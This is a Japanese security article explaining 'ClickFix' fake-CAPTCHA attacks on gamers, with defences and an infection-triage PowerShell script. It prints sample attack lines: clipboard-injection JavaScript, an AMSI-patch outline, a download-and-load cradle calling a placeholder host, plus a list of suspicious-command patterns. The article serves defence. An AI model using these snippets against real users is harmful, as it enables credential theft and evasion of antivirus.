はじめに:ゲーマーを標的に急増する「ClickFix」ソーシャルエンジニアリング
PCゲームのコミュニティ、MOD配布サイト、シェーダー(Shaders)設定フォーラム、ゲーム起動エラーの解決ガイドサイトは、サイバー犯罪者が常に目を光らせている標的です。長年にわたり、ゲーマーを狙うマルウェアは、チートツール、MODインストーラー、海賊版クラックに偽装した .exe や .zip ファイルの直接ダウンロードを主な手口としていました。しかし、現代の主要Webブラウザ(Chrome, Edge, Firefox)やOSは、SmartScreenによるレピュテーション評価、ダウンロードのサンドボックス分離、フィッシング検知など強固な多層防御を備えています。
これらのブラウザ側セキュリティを完全に回避するため、攻撃者が編み出した極めて巧妙なソーシャルエンジニアリング手法がClickFix(「偽CAPTCHA」または「クリップボード貼り付け実行」攻撃)です。ClickFixはブラウザ経由で不審なファイルを落とさせる代わりに、精巧に偽装された「私はロボットではありません」という人間認証画面を表示し、プレイヤー自身に Windowsの「ファイル名を指定して実行」(Win + R) や PowerShell を開かせ、難読化された悪意あるスクリプトを自ら貼り付けて実行させます。
この操作はユーザー自身が正規の管理ツールを呼び出してローカル実行するため、ブラウザのダウンロード履歴に残らず、ファイルも生成されず、従来の静的アンチウイルス検知やブラウザ防御を完全に無力化します。本稿では、ClickFixの攻撃ライフサイクル、AMSIバイパスのメモリ構造、そして実効的な調査・防御手法を体系的に解説します。
ClickFixの攻撃フロー:Web誘餌からメモリ内実行まで
ClickFix攻撃は、MOD導入やエラー解消を急ぐプレイヤーの心理的隙を突く、厳密に設計されたステップで進行します:
[1. 汚染されたリソースサイトを訪問(例:「黒神話:悟空 FPS改善パッチ」「GTA6 テスト版」「DLSS 3.5 MOD」)]
|
v
[2. 偽の人間認証オーバーレイが表示:「人間であることを確認してください」(CloudflareやreCAPTCHAを完全偽装)]
|
v
[3. ブラウザDOMイベント:JavaScriptが navigator.clipboard.writeText(...) で悪意あるコードをクリップボードへ注入]
|
v
[4. 詐欺的な手順誘導:「キーボードの Win + R を押し、Ctrl + V で貼り付け、Enter を押して認証を完了してください」]
|
v
[5. ユーザーが「ファイル名を指定して実行」でEnter実行:explorer.exe が powershell.exe をバックグラウンド起動]
|
v
[6. 難読化PowerShellの実行:AMSIメモリパッチで検知無力化 -> 第2段階ペイロード(Lumma/Stealc等)をダウンロード]
|
v
[7. 資格情報の窃取:SteamセッションCookie、Discordトークン、ゲームランチャー情報をTelegramやC2へ送信]
フェーズ1:巧妙なゲーム関連の誘餌
攻撃者はSEOポイズニングを利用し、人気ゲームの検索キーワードに合わせた使い捨てサイトを大量に作成しています:
- 「黒神話:悟空 スタッター解消 dll」
- 「サイバーパンク2077 DLCアンロッカー」
- 「VALORANT Vanguard バイパス 2026」
- 「Roblox スクリプトエグゼキューター」
- 「Discord Nitro 無料配布ポータル」
フェーズ2:精巧に偽装されたCAPTCHA画面
ダウンロードボタンをクリックすると、ファイルのダウンロードは開始されず、Cloudflare Turnstile、hCaptcha、Google reCAPTCHAと見分けがつかないモーダルダイアログが画面を覆います:
- 「Cloudflare 認証:あなたがボットでないことを確認してください」
- チェックボックスをクリックすると、偽のエラー音や読み込みアニメーションが表示され、次のような「復旧手順」が提示されます:
- キーボードの Windowsキー + R を押してください。
- Ctrl + V を押してください。
- Enterキーを押してください。
- 派生パターンとして、ランタイム不足を装うケースもあります:「DirectX 12 ランタイムが見つかりません。PowerShellに下記スクリプトを貼り付けて修復してください。」
フェーズ3:クリップボードの無断書き換え
ユーザーが指示を読んでいる最中、背後で次のJavaScriptが自動実行されます:
// 偽のボタンクリックを契機にOSクリップボードへ自動書き込み
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);
現代のChromium系ブラウザでは、クリック等のユーザー操作イベント内であれば、navigator.clipboard.writeText() はOSの許可ダイアログを出さずに成功します。プレイヤーはチェックを入れただけと思い込み、自身のクリップボードに武器化されたコマンドが格納されたことに気づきません。
技術解剖:悪意あるPowerShellペイロードの内部動作
受害者によって Win + R から実行されたスクリプトは、主に4つの段階を経てシステムを侵害します:
1. ウィンドウ非表示と実行ポリシー回避
起動コマンドには検知と視覚的気づきを回避する引数が指定されています:
# 典型的なClickFix起動コマンド
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."
-ExecutionPolicy Bypass: 未署名スクリプトの実行制限を回避します(※実行ポリシーは安全柵であり、-Command直接引数には元々制限がかかりません)。-WindowStyle Hidden: コマンドプロンプトの黒い画面をミリ秒単位で最小化・非表示にし、バックグラウンドで正常に認証が完了したかのように見せかけます。
2. AMSI(Antimalware Scan Interface)のインメモリパッチ
スクリプト実行時にWindows Defenderの検査をすり抜けるため、マルウェアはメモリ上の amsi.dll を直接書き換えます。
攻撃者は AmsiScanBuffer 関数を標的にします:
- スクリプトが
amsi.dll内のAmsiScanBuffer関数のメモリアドレスを特定します。 - Windows API(
VirtualProtect)を呼び出し、該当メモリ領域を読み書き実行可能(PAGE_EXECUTE_READWRITE)に変更します。 - 関数の先頭バイトを、即座にエラーまたは安全判定を返す機械語コードへ上書きします:
mov eax, 0x80070057 ; E_INVALIDARG エラーコード ret - これにより、以降そのPowerShellプロセス内で実行されるすべての悪意あるコードはAMSIスキャンを「検査不要(
AMSI_RESULT_CLEAN)」として通過し、Windows Defenderが完全に盲目化されます。
3. 第2段階ペイロードのファイルレス実行
AMSIが無効化されると、PowerShellはネットワーク経由でインフォスティーラー本体をロードします:
# メモリ上での直接ダウンロードとリフレクション実行
$data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
[System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);
.NET のリフレクション機能 [System.Reflection.Assembly]::Load を用いてバイナリをメモリ上で直接実行するか、正規プロセス(MSBuild.exe, svchost.exe 等)へプロセスホローイング(Process Hollowing)によって注入するため、ディスク上には一切の実行ファイルが保存されません。
4. ゲーム関連資格情報の網羅的収集
最終的に展開されるインフォスティーラー(Lumma, Stealc, Vidar等)は、ゲーマーの重要資産を集中的に標的とします:
- Webセッション: Chrome, Edge, Firefox等から
steamLoginSecureやsessionidCookieを抽出。 - Discordトークン:
%APPDATA%\discord\Local Storage\leveldbから認証トークンを回収。 - ゲームプラットフォーム: Epic Games, Battle.net, Riot Client, EA Desktopの保存資格情報を奪取。
- 仮想資産: ブラウザ拡張機能の暗号資産ウォレットおよびSteamインベントリのトレード可能アイテムを探索。
- C2通信: 収集したデータを暗号化ZIPにまとめ、TelegramボットAPIやC2サーバーへHTTPSで送出します。
ClickFix 脅威マトリクス:手口とフォレンジック痕跡
| 攻撃の誘餌 | ソーシャルエンジニアリング文言 | 実行経路 | 主要な技術工芸物 | 調査時に残る痕跡 |
|---|---|---|---|---|
| 偽Turnstile CAPTCHA | 「MODのダウンロードを開始するため人間認証を完了してください」 | Win + R -> powershell.exe -w hidden -enc | AmsiScanBuffer パッチ + IEX Web cradle | イベントID 4104(スクリプトブロックログ);ConsoleHost_history.txt 内のBase64文字列 |
| DirectX / VC++修復 | 「d3dx9_43.dllが不足しています。端末にコマンドを貼り付けて自動修復してください」 | 管理者PowerShell端末 | mshta.exe http://.../fix.hta またはPowerShell | Sysmonにおける mshta.exe の異常起動;非Microsoft IPへの外部通信 |
| Discordベータテスト認証 | 「ターミナルにあなた専用のテストキーを入力してください」 | cmd.exe /c start /b powershell ... | Discord Webhook送出スクリプト | discord.com/api/webhooks/... 宛てのZIP添付HTTPS POST通信 |
| シェーダーキャッシュ展開 | 「事前コンパイル済みVulkanキャッシュを展開するためコマンドを実行してください」 | 通常のPowerShellコンソール | %TEMP% 配下への悪意あるDLL展開 | HKCU\Software\Microsoft\Windows\CurrentVersion\Run への異常な自動起動登録 |
防御エンジニアリング:ClickFixに強いWindows環境の構築
ゲーマーやPC管理者は、以下のシステム設定を行うことでClickFixの実行を防ぐことができます:
1. PowerShellスクリプトブロックログの有効化(イベントID 4104)
既定のWindows設定では、対話型で実行されたスクリプトの全文はログに残りません。詳細ログを有効にすることで、難読化を解いた後の最終コードがイベントビューアーに記録されます:
gpedit.msc(グループポリシーエディター)を開く。コンピューターの構成->管理用テンプレート->Windows コンポーネント->Windows PowerShellに移動。- PowerShell スクリプト ブロックのログ記録を有効にする を「有効」に設定。
2. PowerShell制約付き言語モード(CLM)の適用
制約付き言語モード(Constrained Language Mode)を有効にすると、PowerShellからの任意 .NET リフレクション([System.Reflection.Assembly])やネイティブAPI呼び出しが遮断され、99%のインメモリ型マルウェアが起動不能になります:
- システム環境変数に
__PSLockdownPolicyを追加し、値を4に設定。
3. WDACによる mshta.exe などのスクリプトホスト制限
攻撃者がPowerShellの代わりに mshta.exe(HTMLアプリケーションホスト)を悪用するケースに対処するため、レガシー環境で不要な場合はWindows Defender Application Control(WDAC)で mshta.exe や wscript.exe の実行を制限・監査します。
PowerShell自動フォレンジックスクリプト:感染兆候の検査
誤ってコマンドを貼り付けて実行してしまった可能性がある場合は、即座にネットワークを切断し、以下のPowerShell診断を実行してください:
# ClickFix 脅威監査・トリアージスクリプト
Write-Host "=== ClickFix 感染痕跡スキャン ===" -ForegroundColor Cyan
# 1. PowerShellコンソール履歴の監査
$historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
if (Test-Path $historyPath) {
Write-Host "`n[1] 直近のPowerShellコマンド履歴を検査中..." -ForegroundColor Yellow
$suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
$historyLines = Get-Content -Path $historyPath -Tail 50
foreach ($line in $historyLines) {
foreach ($pattern in $suspiciousPatterns) {
if ($line -match $pattern) {
Write-Host " [警告:不審な履歴コマンドを検出]: $line" -ForegroundColor Red
break
}
}
}
}
# 2. Windows「ファイル名を指定して実行」履歴 (MRU) の確認
Write-Host "`n[2] 「ファイル名を指定して実行」レジストリを検査中..." -ForegroundColor Yellow
$runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
if (Test-Path $runMruPath) {
$mruEntries = Get-ItemProperty -Path $runMruPath
$mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
Write-Host " [危険:不審な実行履歴]: $($_.Name) = $($_.Value)" -ForegroundColor Red
} else {
Write-Host " [正常項目]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
}
}
}
# 3. ユーザー自動起動レジストリの検査
Write-Host "`n[3] スタートアップ常駐レジストリを検査中..." -ForegroundColor Yellow
$runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan
感染が疑われる場合の緊急初動プロトコル
スクリプトの実行が確認された場合は、直ちに以下の初動対応を実施してください:
- LANケーブル抜線・Wi-Fi無効化: 盗み取られた認証情報が外部C2へ送信されるのを防ぐため、即座に物理的なオフライン状態にします。
- クリーンな別端末から全セッションを破棄:
- スマートフォン等からSteamへログインし、設定 -> セキュリティ -> すべてのデバイスの認証を解除 を実行。盗まれた
steamLoginSecureを無効化します。 - Discordのパスワードを変更。パスワード変更により、既存のすべての認可トークンが強制失効します。
- Google、Microsoft、Epic Games等のアカウントで「すべてのデバイスからログアウト」を実行し、パスワードを変更します。
- スマートフォン等からSteamへログインし、設定 -> セキュリティ -> すべてのデバイスの認証を解除 を実行。盗まれた
- Steam Web APIキーの確認と取消: 別端末から
https://steamcommunity.com/dev/apikeyを開き、見覚えのないドメインが登録されていたら即座に「取り消し」を押します。 - オフラインスキャンの実施: Microsoft Defender オフライン スキャンや起動可能なレスキューUSBを用いて、システムの完全スキャンを実施します。
- アーキテクチャの理解に基づくセキュリティ意識の向上: 正規のCloudflareやGoogleのCAPTCHAはブラウザサンドボックス内で完結しており、ユーザーに
Win + Rやターミナルへの貼り付けを要求することは絶対にありません。365Finds のような信頼できる技術ナレッジを活用してOSの挙動やセキュリティ境界を正しく把握し、巧妙化するソーシャルエンジニアリング攻撃から大切なゲーム環境を守り抜きましょう。